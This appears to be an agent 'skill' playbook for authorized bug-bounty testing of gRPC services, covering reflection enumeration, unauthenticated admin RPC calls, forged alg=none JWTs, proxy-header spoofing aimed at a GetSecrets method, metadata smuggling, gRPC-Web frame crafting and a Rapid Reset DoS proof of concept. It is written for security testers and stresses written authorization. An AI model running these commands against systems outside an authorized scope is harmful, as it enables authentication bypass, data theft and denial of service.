Hunt Grpc

TL;DR

• 目的："Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods), missing authentication / metadata-stripping on internal endpo
• 适用：通用
• 输入：目标信息
• 输出：执行结果 + 证据
• 红线：仅限授权范围内；扫描限速 -c 10 -rl 10；所有动作记 oplog
• 关联：上游：003-src-session-start → 下游：003-src-session-start（按需调用）

HUNT-GRPC — gRPC Security

Crown Jewel Targets

gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is "internal" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.

Highest-value findings:

• Reflection enabled in production — grpc.reflection.v1alpha.ServerReflection / grpc.reflection.v1.ServerReflection lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).
• Missing auth on internal service — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.
• Edge-auth-only / metadata-stripping — proxy authenticates the user but the backend re-trusts proxy-injected headers (x-user-id, x-tenant-id, x-forwarded-*); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.
• Plaintext gRPC — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.
• HTTP/2 Rapid Reset DoS (CVE-2023-44487) — interleaved HEADERS + immediate RST_STREAM frames bypass MAX_CONCURRENT_STREAMS accounting → resource exhaustion. DoS is in scope on almost no program — get explicit written authorization before sending a single burst.

tags:

• web
• security
• pentest allowed-tools: bash, read, write, grep, glob, mcp__burp, curl, webfetch

Phase 1 — Fingerprint & Port Discovery

# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open

# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"

# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
  -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status

# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
  -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"

grpc-status trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. UNIMPLEMENTED on a random path is normal and only confirms the transport — not a finding.

Phase 2 — Service Enumeration via Reflection

brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure  $TARGET:443   list

# Typical output when reflection is on:
#   grpc.reflection.v1.ServerReflection
#   grpc.health.v1.Health
#   user.UserService
#   admin.AdminService
#   payment.PaymentService

# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema

# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
  echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt

Reflection disabled? You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked .proto (Phase 5) and pass it with grpcurl -protoset bundle.bin .... Reflection-off is a hardening control, not a security boundary.

Phase 3 — Call Methods Without Authentication (authz testing)

# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers

# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
  echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
    -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done

Interpret the gRPC status code, not just whether bytes came back (see Validation):

• OK + populated response → method executed unauthenticated → finding.
• Unauthenticated (16) / PermissionDenied (7) → authz is enforced; NOT a finding.
• Unimplemented (12) → wrong path / method not on this server.
• InvalidArgument (3) → reached and parsed your input → method is callable; fix the payload and retry.

Phase 4 — Authentication / Trust-Boundary Bypass

# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
  -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
  -d '{}' admin.AdminService/GetConfig

# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
#     then trust identity injected as metadata. If the edge does not STRIP these,
#     spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
         "x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
         "x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
  echo "== $H =="
  grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done

# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
#     server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
  -d '{}' admin.AdminService/GetConfig

The metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header directly to the backend port AND, separately, through the public proxy — if the proxy forwards your x-user-id unchanged to the backend, it is exploitable for real users, not just on the bypassed port.

Phase 5 — Proto File / Schema Discovery

# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
  S=$(curl -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
  [ "$S" != 404 ] && echo "Found: /$P ($S)"
done

# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null

# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list

Proto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.

Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks

gRPC almost always reaches the browser through a transcoder: Envoy grpc_web/grpc_json_transcoder, grpc-gateway (REST↔gRPC), or Connect. These translators are the realistic external attack surface and frequently re-expose internal methods.

# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
  -H 'content-type: application/json' -d '{}'    # default unannotated route

# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
#     Encode the message with protoscope so the bytes are correct:
#       protoscope -s <<<'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
  --data-binary @frame.bin | xxd | head

# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
  -d '{"user_id": 1}'

# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \
  -d '{"user_id": 1}'

Why this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the transcoder route exposes AdminService or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns OK with sensitive data, and verify it is reachable as an unauthenticated/low-priv user (not just from inside the mesh).

Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)

Authorization gate: DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target/window the program owner agreed to. Skip to Validation if unsure.

The attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RST_STREAM) before the server finishes, so each cancelled stream frees a MAX_CONCURRENT_STREAMS slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. h2load/ghz are throughput benchmarkers; they have no rapid-reset mode and never interleave HEADERS+immediate-RST_STREAM, so they cannot test this.

Correct tooling — author-sanctioned PoCs that actually emit the frame pattern:

# CERT/CC + community tracking and PoCs for CVE-2023-44487:
#   https://kb.cert.org/vuls/id/421644
#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20

# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.

Detection without DoSing — prefer this: the only thing you need to PROVE is whether mitigations are present. Check the server banner / version and whether it tracks reset floods:

# Fingerprint the HTTP/2 implementation and version (patched versions are known):
curl -sI --http2 https://$TARGET/ | grep -i '^server:'
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.

Report the version-confirmed mitigation gap rather than a benchmark slowdown. "Server got slower under load" is not proof of CVE-2023-44487 — it produces false positives on slow/under-provisioned servers and false negatives on patched ones that throttle resets gracefully.

Tools

grpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)
grpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051
protoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
buf       # lint/inspect proto, drive Connect endpoints
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
#   use them to "prove" CVE-2023-44487.

Chain Table

Related skills: hunt-idor (id enumeration logic), hunt-api-misconfig (JWT alg=none / mass-assignment in request messages), hunt-auth-bypass (edge-vs-backend trust boundary), hunt-tls-network (h2c/plaintext + ALPN), cloud-iam-deep (if a called RPC returns cloud creds).

Validation — false-positive discipline

gRPC's failure modes look like successes to a naive grep. Apply these gates before any submission.

1. Status-code discrimination, not byte-counting. A non-empty response can still be an error frame. Confirm the grpc-status trailer is 0 (OK). Unauthenticated (16) / PermissionDenied (7) mean auth WORKS — close the candidate. Unimplemented (12) means you have the wrong method. Re-run with grpcurl -v and read the trailers explicitly.

2. Reflection / health endpoints are often intentionally public. grpc.reflection.* and grpc.health.v1.Health being reachable is, by itself, info disclosure (Low/Medium at most) — many vendors ship reflection on by design. Do NOT report it as "missing auth" unless it leaks a non-public service catalog. The finding is the sensitive service you can then call without auth, proven in Phase 3.

3. Distinguish "no auth" from "auth not required for THIS method." Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated state delta: the same RPC returns another user's/tenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).

4. Proxy-vs-backend reachability. A bug reachable only by hitting an internal :50051 you found via SSRF/port-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.

5. OOB / Collaborator for anything blind. If an RPC takes a URL/host argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction = no SSRF. Hand off to hunt-ssrf.

6. DoS is authorization-gated and version-verifiable. Never submit CVE-2023-44487 off a benchmark "slowdown." Either (a) version-match an unpatched HTTP/2 stack from the server: banner, or (b) demonstrate the reset-flood ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.

Severity guide (after the gates above pass):

• Sensitive/admin RPC callable with no auth, side-effect proven → Critical
• Proxy-forwarded metadata spoofing → cross-tenant impersonation → Critical
• IDOR / mass PII via enumerable RPC → High
• Internal service externally reachable (transcoder or open port) → High
• Plaintext h2c leaking bearer metadata → High
• Reflection enabled exposing non-public catalog → Medium (enabler)
• Proto/descriptor leak, no callable sensitive method → Low

When to Use

• Target presents indicators of the vulnerability class this skill covers
• Fingerprint or recon indicates the relevant technology stack is in use
• Authorized testing scope covers the target endpoint or component
• Findings need to be validated through this skill's methodology

When NOT to Use

• Target is clearly outside this skill's scope (refer to related skills)
• No authorization for testing
• Need a different category of testing (use related skills)